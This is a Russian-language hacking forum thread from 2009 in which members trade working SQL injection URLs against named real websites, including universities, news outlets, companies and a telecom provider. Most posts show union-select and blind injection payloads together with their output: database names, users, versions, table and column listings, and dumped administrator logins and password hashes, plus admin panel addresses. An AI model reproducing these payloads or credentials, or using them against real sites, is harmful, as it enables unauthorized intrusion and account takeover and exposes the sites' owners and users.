SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    PR2

    Таблица юзерс


    heifer:teuta
    esc:help
     
    #9481 Krist_ALL, 26 May 2009
    Last edited: 26 May 2009
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    944
    Likes Received:
    837
    Reputations:
    605
    blind

    http://www.abocom.com.tw/news_show.php?id=1&pid=40+and+substring(version(),1,1)=3/*

    http://www.chico.com.tw/chicoen/about/index.php?id=1+and+substring(version(),1,1)=3/*


    #$######################################
    PR: 4

    http://www.kidstoryhouse.com.tw/news_view.php?id=-1+union+select+1,2,concat_ws(0x3a,database(),user(),version()),4,5,6,7,8,9--

    kidstory_db:[email protected]:4.1.22-standard-log

    ########################################

    http://www.jmag.com.tw/Goods_H.php?Id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat_ws(0x3a,database(),user(),version()),34/*

    magdata:[email protected]:4.1.22-log
     
    _________________________
    #9482 HAXTA4OK, 26 May 2009
    Last edited: 26 May 2009
  3. Dagon

    Dagon Elder - Старейшина

    Joined:
    27 Mar 2006
    Messages:
    57
    Likes Received:
    24
    Reputations:
    8
    http://bess.rutgers.edu/members.php?id=-1%20union%20select%201,concat(login,666,password),3,4,5,6,7,8,9,1,1,1,1,1,1,1,1%20from%20users/*
     
    1 person likes this.
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://chel.ru/rich/rich.php?cmd=show&id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7--
    [email protected]:business_74:5.0.51b-log
     
  5. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    PR 5

    таблица administreator - name,password

    4я версия БД.
     
    1 person likes this.
  6. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,529
    Likes Received:
    432
    Reputations:
    234
    PR6
    http://www.icts.sbg.ac.at/content.php?m_id=1012&id=-1012+union+select+table_name,2,3+from+information_schema.tables+--+&newsdetail=565&ch_id=
    Вывод не нашёл(

    PR5
    http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+1,2,unhex(hex(group_concat(column_name))),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+information_schema.columns+where+table_name=0x75736572+--+&lang=0http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+1,2,unhex(hex(name)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+user+--+&lang=0
    http://www.niqash.org/content.php?contentTypeID=28&id=2443+union+select+1,2,unhex(hex(name)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+user+--+&lang=0

    PR7))
    http://www.spacefoundation.org/education/content.php?id=-730'+union+select+table_name+from+information_schema.tables+limit+385,1000+--+
    [email protected]::a54171496ecd067b6731696389f30621 - redarmy
     
  7. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.presidency.ucsb.edu/mediaplay.php?id=8032&admin=-35+union+select+1--

    Google PR: 7

    Database:presidency00
    information_schema
    presidency00

    Tables:
    HTML:
                2008_democratic
    	2008_general
    	2008_republican
    	BACK_approval_27Feb09
    	BACK_papers_19April09
    	ELECTION_INFO
    	PS157
    	PS157_DATA
    	PS157_DOCS
    	VICEPRESIDENTS
    	campaignevents
    	congress
    	data_approval
    	data_debates
    	data_elections
    	data_popularity
    	debates_temp
    	digest
    	dwstats_2004
    	dwstats_2005
    	dwstats_2006
    	dwstats_2007
    	dwstats_2008_JantoJune
    	dwstats_stats
    	dwstats_stats_TEMP
    	edit
    	initiatives
    	locations
    	obst_actors
    	obst_docs
    	obst_doctypes
    	obst_news
    	obst_periods
    	obst_questions
    	obst_timeline
    	papers
    	papers42
    	papers_2008_clinton
    	papers_2008_dodd
    	papers_2008_edwards
    	papers_2008_giuliani
    	papers_2008_huckabee
    	papers_2008_mccain
    	papers_2008_obama
    	papers_2008_richardson
    	papers_2008_romney
    	papers_2008_thompson
    	papers_campaigns
    	papers_debates
    	papers_determinations
    	papers_duplicates
    	papers_eos
    	papers_excludes
    	papers_images
    	papers_lincoln
    	papers_others
    	papers_procs
    	papers_releases
    	papers_signstate
    	papers_types
    	papersearch
    	paperslee
    	papersoral
    	papersoralex
    	papersother
    	paperstest
    	paperswritten
    	paperswrittenex
    	permissions
    	presidents
    	stats_terms
    	typos
    	vietnamdocs
    
    ------------------------------------------------
    http://www.actcm.edu/news.php?topmenu=8&root=8&id=-527+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

    pr 5

    Database:actcm1_actcm

    information_schema
    actcm1_actcm

    Tables:
    HTML:
    admin
    admin
    alumni
    content_pages
    content_to_event
    customer
    customer_detail
    events
    medianame
    mediatype
    news
    student
    subscriber
    
    Columns: Table admin
    HTML:
    username
    password
    logintimes
    lastlogin
    email
    firstname
    lastname
    phone
    access_1
    access_2
    access_3
    access_4
    access_5
    access_6
    access_7
    access_8
    access_9
    access_10
    access_11
    access_12
    access_13
    access_14
    access_15
    access_16
    access_17
    created
    
    http://www.actcm.edu/admin
    username:password:
    Webmaster:goldenkey
     
    #9487 SWAT, 27 May 2009
    Last edited: 27 May 2009
    1 person likes this.
  8. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    1.
    HTML:
    http://venturemyr.amt.kiev.ua/main/news/view?news_id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8/*
    5.0.41-Debian_1:venturemyr:[email protected]

    2.
    HTML:
    http://www.bsnl.co.in/newsdetailed.php?news_id=-362+union+select+1,concat_ws(0x3a,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    4.1.9-standard:bsnl:[email protected]clu-whuxap

    есть табла user
    vivek::eek:nly123

    3. Охр. орг. Арсенал
    HTML:
    http://www.arcenal.com.ua/?action=gallery&id=18+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5/*
    5.0.45-log:arcenal_arcenal:[email protected]

    4. Газета "Гривна"
    HTML:
    http://www.grivna.ks.ua/arhiv/text.php?id=-27469+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,version(),database(),user()),9,10,11--
    5.0.51a-24:grivnaku_grivna:[email protected]
     
    1 person likes this.
  9. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    944
    Likes Received:
    837
    Reputations:
    605
    PR 7

    http://ls.berkeley.edu/dept/german/newsevents/showevent.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--&type=C

    [email protected]:german:4.1.22-log
     
    _________________________
    2 people like this.
  10. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    [email protected]
    altalabs_altalabsnew
    5.0.77-community
     
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,529
    Likes Received:
    432
    Reputations:
    234
    http://game.dayoo.com/content.php?id=-33781+union+select+1,name,password,4,5,6,7,8,9+from+user+limit+1,1+--+
    check:check

    http://www.npla.de/onda/content.php?id=-406+union+select+1,concat_ws(0x3a3a,primary_key,user,password,userlevel,radio,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+tbl_user+--+
    1::admin::eek:arle::2::0::[email protected]
    http://www.npla.de/onda/admin
     
  12. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,529
    Likes Received:
    432
    Reputations:
    234
    PR5
    http://www.mcn-inc.com/news_detail.php?id=-70+union+select+1,2,3,concat(username,0x3a3a,password),5,6,7,8,9,10+from+users+/*+
    janice::4a1269c30333bb446f84550d4da48d39

    PR5
    http://www.tar.gr/content/content.php?id=-1643+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+/*+

    http://opt.avapeter.ru/content.php?id=-216'+union+select+concat(user,0x3a,password)+from+mysql.user+/*+

    http://orbismirus.ru/php/content.php?group=506'+union+select+1,concat_ws(0x3a3a,login,pass,group1,name,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users+--+
    orbis::m1rus09::0::Админ
    Админку не нашёл((
     
    #9492 DezMond™, 27 May 2009
    Last edited: 27 May 2009
  13. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    http://orbismirus.ru/manager/index.html
     
    2 people like this.
  14. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    [email protected]
    baghouse
    5.0.51a-24+lenny1-log

    Админы
     
  15. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,529
    Likes Received:
    432
    Reputations:
    234
    PR7 Tic 160


    http://www.saatchi-gallery.co.uk/artandmusic/?ccid=-315+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(admin_id,char(58),name_surname,char(58),username,char(58),password),13,14,15,16,17,18,19,20,21,22,23+from+authorization--&from_cid=150&cid=150
    1:admin:admin:21232f297a57a5a743894a0e4a801fc3

    http://www.saatchi-gallery.co.uk/artandmusic/?ccid=-315+union+select+1,2,3,4,5,6,7,8,9,10,concat_Ws(0x3a3a,login,password),12,13,14,15,16,17,18,19,20,21,22,23+from+phpmv_users+limit+1,1--&from_cid=150&cid=150

    statsadmin::c913d16dd6337274d48432d7715b0f1b - Kwmn82gv
    Вход в админку видно по ай пи((
     
  16. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    [email protected]
    wwwboard
    5.1.34

    дальше тупик )
     
    3 people like this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    944
    Likes Received:
    837
    Reputations:
    605
    blind

    http://www.elta.hu/index.php?md=ls&id=1'+and+substring(version(),1,1)=5+--+

    http://www.ls.edu.pl/php/partner.php?id=1+and+substring(version(),1,1)=4--

    http://www.cdi.edu.pl/index.php?page=tresc&id=1+and+substring(version(),1,1)=4/*


    #######################################

    http://blogue.mfrp.com/profile.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9,10,11/*&ls=en

    5.0.45

    tables:
    Code:
    biography,user,communique,blog,userConfirm,image,category,userImageCache,message,clients,words,url,comment
    users:
    admin : forget:[email protected]

    http://blogue.mfrp.com/admin/

    ##############################################

    http://calendar.olivet.edu/index.php?id=-1+union+select+version()--

    5.0.51a-3ubuntu5.4-log

    куски таблиц:

    http://calendar.olivet.edu/index.php?id=-1+union+select+group_concat(table_name)+from+information_schema.tables+group+by+table_schema+limit+2,1--

    Code:
    acl,device,module,user
     
    _________________________
    #9497 HAXTA4OK, 27 May 2009
    Last edited: 28 May 2009
  18. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.ics.uci.edu/community/icsjobs/icsjobs_view.php?jid=1940%27+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14,15,16,17,18,19,20,21,22,23+limit+1,1/*
    version():5.0.45-log
    database():publications
    user():[email protected]
    __
    Code:
    http://jipam.vu.edu.au/article.php?sid=432+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+limit+1,1/*
    version():4.0.18-Max
    database():jipam
    user():[email protected]
    __
    Code:
    http://www.jeomuh.hacettepe.edu.tr/detay.php?hID=54+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.columns
    version():5.0.51a-log
    database():jeomuhdb
    user():[email protected]
     
    #9498 M.W.N.N., 28 May 2009
    Last edited: 29 May 2009
    1 person likes this.
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    944
    Likes Received:
    837
    Reputations:
    605
    http://www.kupi-tam.com/news.php?id=209+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15,16,17,18,19,20/*

    [email protected]:kupitam_main:4.1.22-standard
     
    _________________________
    2 people like this.
  20. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.dvb.no/english/news.php?id=-1921+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21

    5.0.67-0ubuntu6:[email protected]:dvb

    tables:
    http://www.dvb.no/english/news.php?id=-1921+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables
     
Thread Status:
Not open for further replies.